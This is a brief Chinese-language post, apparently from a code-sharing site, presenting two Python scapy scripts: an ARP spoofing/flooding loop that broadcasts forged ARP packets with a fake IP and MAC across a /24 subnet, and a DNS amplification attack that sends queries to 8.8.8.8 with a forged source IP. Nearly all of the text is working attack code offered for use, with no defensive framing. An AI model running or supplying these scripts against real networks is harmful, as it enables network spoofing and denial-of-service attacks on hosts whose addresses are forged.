时间:2021-07-01 10:21:17 帮助过:59人阅读
这里就直接用python的scapy搞。
这里是arp的攻击方式,你可以做成arp攻击。
if len(sys.argv) < 2:
print "Pkease Use %s x.x.x" % (sys.argv[0])
exit()
attackIP = sys.argv[1] + ".0/24"
srploop(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=attackIP, psrc="192.168.1.100", hwsrc="00:66:66:66:66:66"), timeout=2)
dns放大攻击
a = IP(dst='8.8.8.8',src='192.168.1.200') #192.168.1.200 为伪造的源ip
b = UDP(dport=53)
c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)
c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1)
p = a/b/c
send(p)
~